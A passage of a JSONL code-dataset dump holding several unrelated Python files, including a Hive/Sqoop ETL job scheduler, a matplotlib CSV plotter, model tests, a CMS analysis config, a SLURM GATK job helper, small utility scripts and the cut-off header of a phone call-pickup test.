else:\n                        gp_sql[max_num].append(tb)\n                        tb_gp_map[tb]=max_num\n            etl_data=conn.meta('etl_data')\n            sql=\"\"\"insert into job_group_set_his(tb_name,sql_file,group_id,depend,rank_id,create_time,update_time,freq_type,del_flag,cmds,oper_time)\n                    select tb_name,sql_file,group_id,depend,rank_id,create_time,update_time,freq_type,del_flag,cmds,CURRENT_TIMESTAMP() from job_group_set;\n                    delete from job_group_set where freq_type='{0}';\"\"\"\n            etl_data.execute(sql.format(self.frency))\n            sql=\"insert into job_group_set(tb_name,sql_file,depend,freq_type,group_id,rank_id,cmds) VALUES('{0}','{1}','{2}','{3}',{4},{5},'{6}')\"\n            for tb in gp_sql.keys():\n                tb_list=gp_sql[tb]\n                for i in range(len(tb_list)):\n                    etl_data.execute(sql.format(tb_list[i],tb_sql_map[tb_list[i]],pymysql.escape_string(str(tb_dep_map[tb_list[i]])),self.frency,tb,i,confs.hive_sh+tb_sql_map[tb_list[i]]))\n            return 1\n    \n    def del_job(self,tb_name): # 删除作业\n        jobs_dict,group_max_rank_id=self.get_job_group()\n        tb_dep_map=jobs_dict['depend']\n        tb_sql_map=jobs_dict['sql_file']\n        if tb_name in tb_sql_map.keys():\n            sql_file=tb_sql_map[tb_name]\n            for tp in tb_dep_map.keys():\n                if tb_name in tb_dep_map[tp]:\n                    print(tp,'依赖',tb_name,'不能删除')\n                    return 0\n            sql=\"update job_group_set set del_flag=1 where sql_file='{0}' and freq_type='{1}';\".format(sql_file,self.frency)\n            etl_data=conn.meta('etl_data')\n            etl_data.execute(sql)\n            self.write_sh()\n            return 1\n        else:\n            print(tb_name,'没有部署，无法删除')\n            return 0\n    def add_job(self,sql_file,tb_name,depd_list): # 新增作业\n        group_usedtime,sql_usedtime=self.get_group_usedtime()\n        jobs_dict,group_max_rank_id=self.get_job_group() # 已经配置好的\n        #print(group_max_rank_id)\n        tb_group_map=jobs_dict['group_id']\n        tb_dep_map=jobs_dict['depend']\n        if tb_name in tb_dep_map or sql_file in jobs_dict['sql_file'].keys():\n            print(tb_name,'已经部署，不能不能重复部署')\n            return 0\n        else:\n            new_depd=depd_list.copy() #将依赖表另存一份\n            for tp in depd_list:  #去除依赖sdd的表\n                if tp[0:4] in confs.db_map.keys():\n                    new_depd.remove(tp)\n                if tp in specia_list:\n                    new_depd.remove(tp)\n            if len(new_depd)>0: #有依赖\n                dep_group={}\n                for tb in new_depd:\n                    if tb in tb_group_map.keys():\n                        group_id=tb_group_map[tb]\n                        dep_group[group_id]=group_usedtime[group_id]\n                    else:\n                        print(tb,'依赖表没有加入配置')\n                        return 0\n                group_id=self.dict_sort_by_value(dep_group)[0]    \n                #rank_id=group_max_rank_id.loc[group_id-1,'max_rank_id']+1   \n            else:   #无依赖\n                group_id=self.dict_sort_by_value(group_usedtime)[0]\n            rank_id=group_max_rank_id.loc[group_id-1,'max_rank_id']+1\n            sql=\"insert into job_group_set(tb_name,sql_file,depend,freq_type,group_id,rank_id,cmds) VALUES('{0}','{1}','{2}','{3}',{4},{5},'{6}')\"\n            etl_data=conn.meta('etl_data')\n            etl_data.execute(sql.format(tb_name,sql_file,pymysql.escape_string(str(depd_list)),self.frency,group_id,rank_id,confs.hive_sh+sql_file))\n            return 1\n    def write_sh(self,group_id=0): #指定groupid则只更新group_id的分组\n        engine=conn.meta('etl_data')\n        sshcon=ssh_con()\n        ssh_uat=ssh_cmd(sshcon.ssh_uat)\n        ssh_sc=ssh_cmd(sshcon.ssh_sc)\n        sql_txt=\"\"\"\n                    SELECT group_id,sql_file,cmds\n                    FROM  job_group_set where del_flag=0 and freq_type='{0}'\n                    order by group_id,rank_id\n                  \"\"\"\n        job_group=pd.read_sql(sql_txt.format(self.frency),engine)\n        #if group_id<1 or group_id>self.group_num: \n        gp_map,gp_sql=self.group_sh() #将文件清空\n        for i in gp_map.keys():\n            filepath=confs.main_path_bin+gp_map[i]\n            f=open(filepath, 'a',encoding='utf-8') #打开文件\n            tp=list(job_group[job_group['group_id']==i]['cmds'])\n            for sqls in tp:\n                f.write(sqls)\n                f.write(\"\\n\")\n            f.close()\n            ssh_uat.upload(filepath,confs.remote_path_bin+gp_map[i])\n            ssh_sc.upload(filepath,confs.remote_path_bin+gp_map[i])\n        ssh_uat.cmd_run(['chmod 755 -R /home/bigdata/bin /home/bigdata/sql /home/bigdata/cfg'])\n        ssh_sc.cmd_run(['chmod 755 -R /home/bigdata/bin /home/bigdata/sql /home/bigdata/cfg'])\n        ssh_uat.close()\n        ssh_sc.close()\n        return 1\n    def is_utf8_file(self,filepath): #是否utf8,但是有bom和无bom无法区别\n        try:\n            f=open(filepath,'r',encoding='utf-8')\n            f.read()\n            f.close()\n            return 1\n        except Exception as e:\n            f.close()\n            return 0\n    def read_deploy(self):\n        #判断表存在、文件存在、依赖、是否sqoop判断\n        filepath=confs.main_path+'deploy_file.properties'\n        tb_list=set()\n        with open(filepath, 'r') as f:\n            lines = f.readlines() #读取所有行\n            for line in lines:\n                tp=line.replace('.sql','').replace('.sh','').replace('.properties','').replace(',','')\n                if len(tp)>4:\n                    tb_list.add(tp.strip())\n        f.close()\n        #print(tb_list)\n        return list(tb_list)\n    \n    def check_deploy(self,tb): #文件检测\n        if not os.path.exists(confs.main_path+'sql/'+tb+'.sql'):\n            print(tb+'.sql','文件不存在')\n            return 0,'null','null'\n        else:\n            sql_tb,sql_tb_cn,sql_author=self.read_sqlfile(tb+'.sql')\n        if self.is_utf8_file(confs.main_path+'sql/'+tb+'.sql')==0:\n            print(tb+'.sql','不是UTF-8格式')\n            return 0,'null','null'\n        if  os.path.exists(confs.main_path+'cfg/'+tb+'.properties'):\n            if self.is_utf8_file(confs.main_path+'cfg/'+tb+'.properties')==0:\n                print(tb+'.properties','不是UTF-8格式')\n                return 0,'null','null'\n            keys=''\n            values=[]\n            with open(confs.main_path+'cfg/'+tb+'.properties', 'r',encoding='utf-8') as f:  #打开文件\n                lines = f.readlines() #读取所有行\n                file_rs={}\n                for line in lines:\n                    line=line.strip()\n                    if len(line)>1 and not line.startswith('#'):\n                          if '[' in line:\n                              if len(keys)>1:\n                                  file_rs[keys]=values\n                              keys=line\n                              values=[]\n                          else:\n                              if line not in['@DAILY']:\n                                  values.append(line)\n            #print(file_rs['[results]'])\n            if len(file_rs['[results]'])==1:\n                tar_tb=file_rs['[results]'][0]\n                if conn.hive_tb_exists(tar_tb)==0:\n                    print('hive不存目标表：',tar_tb)\n                    #return 0,'null'\n                if not tar_tb==sql_tb:\n                    print('properties文件【result】表名称和目标表不一致',tar_tb,sql_tb)\n                    return 0,'null','null'\n            else:\n                print('properties文件【result】没有指定生成结果文件名或者指定多个结果')\n                return 0,'null'\n            if len(file_rs['[dependence]'])>0:\n                for tp in file_rs['[dependence]']:\n                    #检查依赖表的配置情况\n                    if conn.etl_set_exists(tp)==0:\n                        print(tp,'依赖配置没有加入调度')\n                        return 0,'null','null'\n                    #print(tp)\n            else:\n                print('properties文件【dependcy】没有指定依赖文件')     \n                return 0,'null','null'\n            if len(file_rs['[properties]'])>0:\n                for tp in file_rs['[properties]']:\n                    if 'dev' in tp:\n                        print('dev不应该出现在配置文件的[properties]中')\n                        return 0,'null','null'\n            else:\n                print('properties文件【properties】配置正确')     \n                return 0,'null','null'\n        else:\n            print(tb+'.properties','文件不存在')\n            return 0,'null','null'\n        return 1,tar_tb,file_rs['[dependence]']\n    \n    def read_sqlfile(self,file_name):\n        filepath=confs.main_path_sql+file_name\n        target_tb_cn=''\n        target_tb=''\n        create_by=''\n        if os.path.exists(filepath):\n                try:\n                    #print(files)\n                    if  os.path.isfile(filepath) and file_name.endswith('.sql'):\n                        with open(filepath, 'r',encoding='utf-8') as f:  #打开文件\n                            lines = f.readlines() #读取所有行\n                            target_tb_cn=''\n                            create_by=''\n                            for line in lines[0:15]:\n                                line=line.strip()\n                                if 'see:' in line:\n                                    target_tb_cn=line[line.find(':')+1:].strip()\n                                if '}.' in line:\n                                    target_tb=line[line.find('}.')+2:].strip()\n                                    target_tb=target_tb.replace('(','').replace(' ','')\n                                if 'author:' in line:\n                                    create_by=line[line.find(':')+1:].strip()\n                        #tables_list.loc[nums]=[files,target_tb_cn,create_by]\n                except Exception as e:\n                        #print('str(Exception):\\t', str(Exception))\n                        print (file_name,'\\t error :\\t\\t',str(e))     \n                return target_tb,target_tb_cn,create_by\n        else:\n            print(file_name,'文件不存在')   \n            return target_tb,target_tb_cn,create_by      \n    def sdd_table(self,db,tb_list):#uat和生产环境同步建SDD表\n        sshcon=ssh_con()\n        ssh=ssh_cmd(sshcon.ssh_uat)\n        is_success=ssh.hive_ddl(db,tb_list)\n        if is_success>0:\n            ssh=ssh_cmd(sshcon.ssh_sc)\n            ssh.hive_ddl(db,tb_list)\n        ssh.close()      \n    def append_sh(self,filepath,tar_cmd):\n        if  filepath.endswith('.sh') :\n               if not os.path.exists(filepath):\n                    #print(confs.main_path+'bin/template.sh',os.path.exists(confs.main_path+'bin/template.sh'))\n                    open(filepath, \"wb\").write(open(confs.main_path+'bin/template.sh', \"rb\").read())\n               with open(filepath, 'r',encoding='utf-8') as fr:\n                    for tp in fr.readlines():\n                        if tar_cmd in tp:\n                            print('分组文件已经添加shell命令不能重复配置')\n                            return 1\n                    fr.close()\n               with open(filepath, 'a',encoding='utf-8') as f:  #打开文件\n                    f.write(tar_cmd)\n                    f.write(\"\\n\")\n                    f.close()\n                    \n               with open(filepath, 'r',encoding='utf-8') as fr:\n                    for tp in fr.readlines():\n                        if tar_cmd.endswith('.sql'):\n                            if len(tp)>160:\n                                print(filepath,'文件配置错位')\n                                return 0\n                        else:\n                            if len(tp)>100:\n                                print(filepath,'文件配置错位')\n                                return 0\n                    fr.close()\n        else:\n            print('无效文件，必须是.sh文件')  \n        return 1  \n    def auto_deploy(self,tar_ssh='ssh_uat'): \n        tb_list=self.read_deploy()\n        print(tb_list)\n        sshcon=ssh_con()\n        #ssh=ssh_cmd(sshcon.ssh_uat)\n        if tar_ssh=='ssh_sc':\n            self.ssh=ssh_cmd(sshcon.ssh_sc)\n        ssh=self.ssh\n        for tb in tb_list:\n            heads=tb[0:4]\n            if heads in confs.db_map.keys():\n                print('\\n  sqoop同步配置:',tb)\n                tp_tb=tb[5:]\n                tar_cmd=heads+' '+tp_tb+' auto'\n                tb_size=conn.sljr_tb_size(db=heads,tb=tp_tb)\n                if conn.etl_set_exists(tb)>0:\n                    print(tb,'目标表已经加入了调度，如果需要重新调度请手动修改')\n                    break\n                if tb_size<0:\n                    print(tp_tb,'表不存在不能同步，或者检查表名')\n                    break\n                if tb_size>10000000:\n                    print(tp_tb,'大于1千万需要增量同步:',tb_size)\n                    tar_cmd=tar_cmd+' inc'\n                if conn.hive_tb_exists(tb)==0:\n                    self.sdd_table(db=heads,tb_list=[tp_tb]) #同步表结构\n                group_sh=confs.local_path+'bin/sqoop_'+heads+'.sh'\n                tar_cmd=confs.sqoop_sh+tar_cmd\n                if self.append_sh(group_sh,tar_cmd)>0:  \n                    if ssh.cmd_run([tar_cmd])>0:\n                        ssh.upload(group_sh,confs.remote_path+'bin/sqoop_'+heads+'.sh')\n                else:\n                    print(heads,'shell文件配置错位')\n                    break\n            else:\n                #hive sql配置\n                print('\\n  hive sql同步配置检测:',tb)\n                flag,tar_tb,depd_list=self.check_deploy(tb)\n                if flag==0:\n                    print('\\033[1;37;45m ERROR:',tb,'  配置文件检查错误        \\033[0m')\n                    break\n                else:\n                    print('检测通过：',tb)\n                    ssh.upload(confs.main_path+'cfg/'+tb+'.properties',confs.remote_path+'cfg/'+tb+'.properties')\n                    ssh.upload(confs.main_path+'sql/'+tb+'.sql',confs.remote_path+'sql/'+tb+'.sql')\n                    #ssh.upload(confs.main_path+'bin/'+tb+'.sh',confs.remote_path+'bin/'+tb+'.sh')\n                    tar_cmd=confs.hive_sh+tb+'.sql'\n                    #print('执行数据同步完成')\n                    if ssh.cmd_run([tar_cmd])>0:\n                        if self.add_job(tb+'.sql',tar_tb,depd_list)>0:\n                            self.write_sh()\n                    else:\n                        #self.write_sh()\n                        print('\\033[1;37;45m ERROR:',tb,' sql执行错误，请修改        \\033[0m')\n\n        ssh.cmd_run(['chmod 755 -R /home/bigdata/bin /home/bigdata/sql /home/bigdata/cfg'])\n        ssh.close()\n    def run_sql(self,tb,tar_ssh='ssh_uat'):  \n        sshcon=ssh_con()\n        ssh=ssh_cmd(sshcon.ssh_uat)\n        if tar_ssh=='ssh_sc':\n            ssh=ssh_cmd(sshcon.ssh_sc)\n        flag,tar_tb,depd_list=self.check_deploy(tb)\n        if flag==0:\n            print('\\033[1;37;45m ERROR:',tb,'  配置文件检查错误        \\033[0m')\n        else:\n           print('检测通过：',tb)\n           ssh.upload(confs.main_path+'cfg/'+tb+'.properties',confs.remote_path+'cfg/'+tb+'.properties')\n           ssh.upload(confs.main_path+'sql/'+tb+'.sql',confs.remote_path+'sql/'+tb+'.sql')\n           tar_cmd=confs.hive_sh+tb+'.sql'\n           #print('执行数据同步完成')\n           if ssh.cmd_run([tar_cmd])>0:\n               print('执行成功')\n           else:\n               print('\\033[1;37;45m ERROR:',tb,' sql执行错误，请修改        \\033[0m')\n        ssh.close()        \nif __name__ == '__main__':  \n    auto=auto_schedule()\n    auto.auto_deploy(tar_ssh='ssh_sc')\n    #auto.run_sql(tb='dim_cust_base_info_daily',tar_ssh='ssh_sc')\n    ","sub_path":"myworks/auto_schedule.py","file_name":"auto_schedule.py","file_ext":"py","file_size_in_byte":22945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"58470930","text":"## -*- coding: utf-8 -*-\n#\"\"\"\n#Spyder Editor\n#\n#This is a temporary script file.\n#\"\"\"\n#\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport csv\n#from csvGenerator import update\nimport itertools\n#from client import fnamedump\n\n#style.use('fivethirteight')\nSTEP = 100\nfig = plt.figure()\nax1 = fig.add_subplot(1,1,1)\n#ax1.set_aspect('equal', 'datalim')\nax1.set_xlabel('Time Stamp')\nax1.set_ylabel('Current (mA)')\n\nbegin = 5\nend = STEP\n\ndef readRow():\n    \n    global begin, end\n    \n    with open('teststand_2016-09-27T14-29-28.693000.csv', 'r') as csvfile:\n        reader = csv.reader(csvfile, delimiter=';')\n        x = []\n        y = []\n        for row in itertools.islice(reader, begin, end):\n            x.append(float(row[0]) / 1000.0)\n            y.append(row[25])\n            \n        begin = reader.line_num - 1\n        end = begin + STEP\n        \n    return x, y \n\ndef animate(i):\n    \n    x, y = readRow()\n    ax1.plot(x, y, 'r-')\n\n#    x,y = update()\n#    ax1.plot(x, y, 'r-')\n\nif __name__=='__main__':\n    \n#    try:\n#        while True:\n#            x,y = update()\n#            print(x)\n#    except KeyboardInterrupt: \n#        pass\n    \n    ani = animation.FuncAnimation(fig, animate, interval=1000)\n    plt.show()","sub_path":"plot/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"34338791","text":"from .. import models\n\n\nclass TestModels:\n\n    def test_tweet_object_id_content(self, db_session):\n        tweet = models.Tweet(content=\"Test content\")\n        db_session.add(tweet)\n        db_session.commit()\n        assert str(tweet) == \"{0}. {1}\".format(1, \"Test content\")\n\n    def test_tag_object_id_tagname(self, db_session):\n        tag = models.Tag(tag=\"test_tag\")\n        db_session.add(tag)\n        db_session.commit()\n        assert str(tag) == \"{0}. {1}\".format(1, \"test_tag\")\n","sub_path":"grpc_service/database/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"430555553","text":"import os\nimport FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"HFA\")\n\n# ----------------------------------------------------------------------\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.threshold = 'INFO'\n#process.MessageLogger.cerr.FwkReport.reportEvery = 1000\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 1\nprocess.options   = cms.untracked.PSet( wantSummary = cms.untracked.bool(True) )\n\n\n# ----------------------------------------------------------------------\n# -- Database configuration\nprocess.load(\"CondCore.DBCommon.CondDBCommon_cfi\")\nprocess.load(\"CondCore.DBCommon.CondDBSetup_cfi\")\n\n# -- Conditions\nprocess.load(\"Configuration.StandardSequences.MagneticField_38T_cff\")\nprocess.load(\"Configuration.Geometry.GeometryIdeal_cff\")\nprocess.load(\"RecoVertex.BeamSpotProducer.BeamSpot_cfi\")\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\nprocess.GlobalTag.globaltag = \"GR_P_V43D::All\"\n\n# ----------------------------------------------------------------------\n# -- Input files\n\nprocess.source = cms.Source(\"PoolSource\",\n        skipEvents = cms.untracked.uint32(0),\n        fileNames  = cms.untracked.vstring(\n                'file:/usr/rmt_share/scratch96/w/wxie/2A54599E-DB74-E211-9D29-5404A63886AD.root'\n            )\n        )\n\nprocess.maxEvents = cms.untracked.PSet(\n        input = cms.untracked.int32(1000)\n        )\n\nrootFileName = \"dpm.root\"\n\nprocess.tree = cms.EDAnalyzer(\n    \"HFTree\",\n    verbose      = cms.untracked.int32(1),\n    printFrequency = cms.untracked.int32(1000),\n    fileName     = cms.untracked.string(rootFileName),\n    requireCand  =  cms.untracked.bool(True)\n    )\n\n# ----------------------------------------------------------------------\nprocess.load(\"Configuration.StandardSequences.Reconstruction_cff\")\nprocess.load(\"UserCode.OpenHF.HFRecoStuff_cff\")\nprocess.load(\"UserCode.OpenHF.HFCharm_cff\")\n\n# ----------------------------------------------------------------------\nprocess.TFileService = cms.Service(\"TFileService\",\n           fileName = cms.string('dpm.root')\n        )\n\n# ----------------------------------------------------------------------\nprocess.p = cms.Path(\n    process.recoStuffSequence*\n    process.dpmSequence*\n    process.tree\n)\n\n","sub_path":"OpenHF/test/dpm.py","file_name":"dpm.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"652575899","text":"import os\nfrom os.path import dirname\nfrom textx import metamodel_from_file\nfrom textx.export import metamodel_export, model_export\nfrom textx.model import pprint_tree\nfrom drawingPrinter import init_drawing_printer\n\nTHIS_FOLDER = dirname(__file__)\n\ndef main(debug=False):\n    mm = metamodel_from_file('drawing.tx', debug=debug)\n    proba_model = mm.model_from_file('drawingExample.txt')\n    export_dot(mm, proba_model)\n\n    print('\\n\\nORIGINAL:\\n\\n')\n    printer = init_drawing_printer()\n    printer.pprint_model(proba_model)\n\n    # refactor_model_extract_method(proba_model, mm)\n    # refactor_model_change_order(proba_model)\n\n    # print('\\n\\nREFACTORED:\\n\\n')\n    # printer.pprint_model(proba_model)\n\ndef refactor_model_change_order(model):\n    model.functions.reverse()\n    model._tx_pprint_data.reverse()\n\ndef refactor_model_extract_method(model, metamodel):\n    existing_function = model.functions[0]\n    \n    # Create a new Function instance\n    function_metaclass = existing_function.__class__\n    new_function = function_metaclass.__new__(function_metaclass)\n    metamodel._init_obj_attrs(new_function)\n    \n    # Set a name and arguments for the new function\n    new_function.args = ['x', 'y', 'radius1', 'radius2']\n    new_function.name = 'print_circles'\n\n    # Add 2 statements from the existing function to the new function\n    new_function.statements = [existing_function.statements[4], existing_function.statements[5]]\n\n    # Add the new function to the model\n    model.functions.append(new_function)\n    model._tx_pprint_data.append(new_function)\n\n    # Create a function call for the new function\n    function_call_metaclass = metamodel.__getitem__('FunctionCall')\n    new_function_call = function_call_metaclass.__new__(function_call_metaclass)\n    metamodel._init_obj_attrs(new_function_call)\n\n    new_function_call.name = new_function.name\n    new_function_call.args = new_function.args\n    new_function_call.whitespaces_before = existing_function._tx_pprint_data[16]._tx_pprint_data[0].layout_before\n\n    # Remove the statements from the existing function and replace them with the function call\n    existing_function.statements[4] = new_function_call\n    existing_function.statements.pop(5)\n    existing_function._tx_pprint_data.pop(16)\n    existing_function._tx_pprint_data.pop(16)\n    existing_function._tx_pprint_data.pop(16)\n    existing_function._tx_pprint_data.insert(16, new_function_call)\n\n\ndef export_dot(mm, model):\n    metamodel_export(mm, 'metamodel.dot')\n    model_export(model, 'model.dot')\n\n\nif __name__ == \"__main__\":\n    main()","sub_path":"drawing/drawingTest.py","file_name":"drawingTest.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"358672159","text":"### FIX\n# at some point, have the jobID/mem as an input arg instead of scripted\n###\n\n###\n# usage: gvcf_helper.py /path/to/fastq.gz/folder/\n\n###\n# purpose: to keep running gatk commands until time or memory runs out\n###\n\n### imports\nimport sys\nimport os\nfrom os import path as op\nfrom os import listdir\nimport pickle\nimport shutil\nfrom random import shuffle\ndef ls(DIR):\n    return sorted([f for f in listdir(DIR)])\ndef fs (DIR):\n    return sorted([op.join(DIR,f) for f in ls(DIR)])\n###\n\n### args\nthisfile, fqdir = sys.argv\n###\n\nos.system('source $HOME/.bashrc')\nDIR = op.join(op.dirname(fqdir),'shfiles/gvcf_shfiles')\nos.chdir(DIR)\nworkingdir = op.join(DIR,'workingdir')\nif not op.exists(workingdir):\n    os.makedirs(workingdir)\n    \n# get job info and current memory/time limits\njobid    = os.popen('echo ${SLURM_JOB_ID}').read().replace(\"\\n\",\"\")\n#print('jobid=',jobid)\njobinfo  = os.popen(\"sacct -j %s | grep 'lindb'\" % jobid).read()\n#print('jobinfo=',jobinfo)\njobmem   = int([x for x in jobinfo.split() if 'mem' in x][0].split(\",\")[1].split('=')[1].replace(\"M\",\"\"))\n#print('jobmem=',jobmem)\ntimeinfo = os.popen(\"sacct -j %s --format Timelimit\" % jobid).read()\n#print('timeinfo=',timeinfo)\njobtime  = int(timeinfo.split()[-1].split(':')[0])\n#print('jobtime=',jobtime)\n\n# get list of remaining gatk calls\nshfiles = [f for f in fs(DIR) if f.endswith('.sh')]\nshuffle(shfiles) \n\n# run commands until I run out of time\nos.system('echo running gvcf_helper.py')\nif len(shfiles) > 0:\n    for s in shfiles:\n    #     print (s)\n        reservation = op.join(workingdir,op.basename(s))\n        if op.exists(s):\n            try:\n                shutil.move(s,reservation) # so that other jobs don't rewrite\n            except:\n                os.system('echo could not move shfile %s' % s)\n                os.system('echo to reservation %s' % reservation)\n                continue\n            os.system('echo %s' % reservation)\n            \n            with open(reservation,'r') as O:\n                o = O.readlines()\n\n            # only continue to run jobs that fit in the same memory allocation (dont waste resources if its going to fail)\n            mem = int([x for x in o if 'mem' in x][0].split(\"=\")[1].replace(\"M\\n\",\"\"))\n            if mem > jobmem:\n                os.system('echo file exceeds mem limit')\n                shutil.move(reservation,s) # put the job back in the queue\n                continue\n            # only continue to run jobs that might fit in same time allocation\n            TIME = int([x for x in o if 'time' in x][0].split(\"=\")[1].split(':')[0])\n            if TIME > jobtime:\n                os.system('echo file exceeds necessary time')\n                shutil.move(reservation,s)\n                continue\n\n\n            os.system('echo file is ok to proceed')\n            for line in o:\n                if line.startswith('gatk'):\n                    cmd = line.replace('\\n','')\n                    os.system('echo running cmd:')\n                    os.system('echo %s' % cmd)\n                    os.system('%s' % cmd)\n                    try:\n                        os.unlink(reservation)\n                        os.system('echo unlinked shfile %s' % reservation)\n                    except:\n                        os.system('echo unable to unlink %s' % reservation)\n                        pass\n                    pipedir = os.popen('echo $HOME/pipeline').read().replace(\"\\n\",\"\")\n                    os.system('python %s %s' % (op.join(pipedir,'rescheduler.py'),\n                                                fqdir))\n                    os.system('python %s %s' % (op.join(pipedir,'scheduler.py'),\n                                                fqdir))\n\n                    break\nelse:\n    os.system('echo no files to help')\n    \n    \n    \n    ","sub_path":"pipeline/gvcf_helper.py","file_name":"gvcf_helper.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"298953417","text":"class Node:\n    def __init__(self, val):\n        self.key = val\n        self.left = None\n        self.right = None\n\n\ndef print_tree(node):\n    if node is None:\n        return\n    print_tree(node.left)\n    print(node.key)\n    print_tree(node.right)\n\n\ndef main():\n    root = Node(18)\n    root.left = Node(12)\n    root.left.left = Node(7)\n    root.left.right = Node(4)\n    root.left.right.left = Node(5)\n    root.right = Node(10)\n    root.right.left = Node(2)\n    root.right.right = Node(21)\n    print_tree(root)\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"10_4_2_print_tree_recursive.py","file_name":"10_4_2_print_tree_recursive.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"235208136","text":"def file_write(file_path, data):\n    \"\"\"\n    Write data in the file specified at file_path\n\n    :param file_path: the location of the file\n    :param data: the data to write\n    :return: nothing\n    \"\"\"\n    with open(file_path, 'w') as output_file:\n        if not isinstance(data, str):\n            data = str(data)\n        output_file.write(data.encode())\n    return\n","sub_path":"algorithms/file/write.py","file_name":"write.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"268878208","text":"import re\nimport sys\nfrom datetime import date\nfrom xlrd import open_workbook,xldate_as_tuple\nfrom xlwt import Workbook\ninput_file = sys.argv[1] # 此处为 sales_2013.xlsx\noutput_file = sys.argv[2] # 此处为 6output.xls\noutput_workbook = Workbook()\noutput_worksheet = output_workbook.add_sheet('jan_2013_output')\npattern = re.compile(r'(?P<my_pattern>^J.*)') # 这段文字中 ^J.* 是最重要的,意为从开头进行匹配,J后面可跟任意多个字符\ncustomer_name_column_index = 1\n\"\"\"\n以下代码的逻辑与之前很类似,一样是打开文件,逐个单元格查看,如果满足要求,就将此行数据提出\n\"\"\"\nwith open_workbook(input_file) as workbook:\n\tworksheet = workbook.sheet_by_name('january_2013')\n\tdata = []\n\theader = worksheet.row_values(0)\n\tdata.append(header)\n\tfor row_index in range(1,worksheet.nrows):\n\t\trow_list = []\n\t\tif pattern.search(worksheet.cell_value(row_index, customer_name_column_index)):\n\t\t\tfor column_index in range(worksheet.ncols):\n\t\t\t\tcell_value = worksheet.cell_value(row_index, column_index)\n\t\t\t\tcell_type = worksheet.cell_type(row_index, column_index)\n\t\t\t\tif cell_type == 3:\n\t\t\t\t\tdate_cell = xldate_as_tuple(cell_value, workbook.datemode)\n\t\t\t\t\tdate_cell = date(*date_cell[0:3]).strftime('%m/%d/%Y')\n\t\t\t\t\trow_list.append(date_cell)\n\t\t\t\telse:\n\t\t\t\t\trow_list.append(cell_value)\n\t\tif row_list:\n\t\t\tdata.append(row_list)\n\tfor list_index,output_list in enumerate(data):\n\t\tfor element_index,element in enumerate(output_list):\n\t\t\toutput_worksheet.write(list_index,element_index,element)\noutput_workbook.save(output_file)","sub_path":"第 3 章所需资料/6excel_value_matches_pattern.py","file_name":"6excel_value_matches_pattern.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"594862933","text":"#!/usr/bin/env python\n\"\"\"\nScript Header\n\n$Id:cmCC23986_3pcc_BLF_CallPickup_StarCode_CallerNumber\n\nCopyright (c) 2016-2017 Cisco Systems, Inc.\n\nName:\n    cmCC23986_3pcc_BLF_CallPickup_StarCode_CallerNumber.py\n\nPurpose:\n    To test if the caller number is displayed correctly (without star code) for\n    BLF call pickup\n\nAuthor:\n    Anuradha N(anakre@cisco.com)\n\nReferences:\n     CSCva92839\n     US23986\n\nDescription:\n     Configure BLF - speed dial in the monitoring phone from the 'Extended\n     Function' field in Phone tab. Call monitored user from Phone C and then\n     try call pickup from monitoring user by pressing line key for monitored\n     user. Check for call state and blf state. And also verify if the caller\n     number is displayed without star code on LCD.\n\nTopology:\n    1. 3 3pcc phones.\n    2. All the phones should register successfully before running the script\n    3. BLF should be configured on monitoring user phone.\n\nPass/Fail Criteria:\n    1. Monitoring should be able to initiate call pickup by pressing the line\n    key corresponding to the monitored user which is in ringing state.\n    2. After initiating call pickup proper name and number should be\n    displayed in the Monitoring phone\n\nTest Steps:\n    1. Create a blf list uri and add monitored users in the BS server.\n    2. Disable extension 2 of DUT from phone webpage and set the blf\n    function in the 'Extended Function' field for Line Key 2.\n    syntax = fnc=blf+cp;sub=blf_listuriname@$PROXY;usr=monitored_userid\n    @$PROXY\n    3. Then dial from Phone C to the monitored user (Phone B)\n    4. Do not answer the call\n    5. Check if the BLF state of Phone B in DUT is set to ALERTING\n    6. Initiate call pick up from DUT(Phone A) by pressing the line key\n    corresponding to the monitored user.\n    7. Phone B stops ringing and Phone A and Phone C are connected\n    8. Check that LCD displays the Phone C name and number. (without star code)\n    9. Check that blf state in DUT for Phone B is shown as IDLE\n    10. Disconnect the call and verify that all phones are idle\n\nNotes:\n\nKnown Bugs:\n\n\"\"\"\nimport tng\nimport logging\nfrom tng_sl.contrib.mpp.Toolkit3pcc import Toolkit3pcc\nfrom tng.api import concurrent\nfrom tng_sl.device.endpoint.synergylite.synergylite_3pcc_extended \\\n    import wait_for_ccapi_call_states, register_lines, poll_feature_state\nfrom tng.frontend.timing import wait\nfrom tng_sl.contrib.setup_helper import SetupHelpersTestCase\nfrom tng_sl.contrib.mpp.phone_line_reg_helper import PhoneLineRegHelper\nfrom tng_sl.contrib.mpp.phone_line_reg_helper import PhoneConfigHelper\n\nfrom tng_sl.contrib.mpp.broadsoft.BroadsoftWebToolkit\\\n    import BroadsoftWebToolkit\nfrom tng_sl.plugins.synergylite_3pcc_ui import SynergyLite3pccUiHelper\n\nlog = logging.getLogger('BlfCallPickup')\n\n\nclass 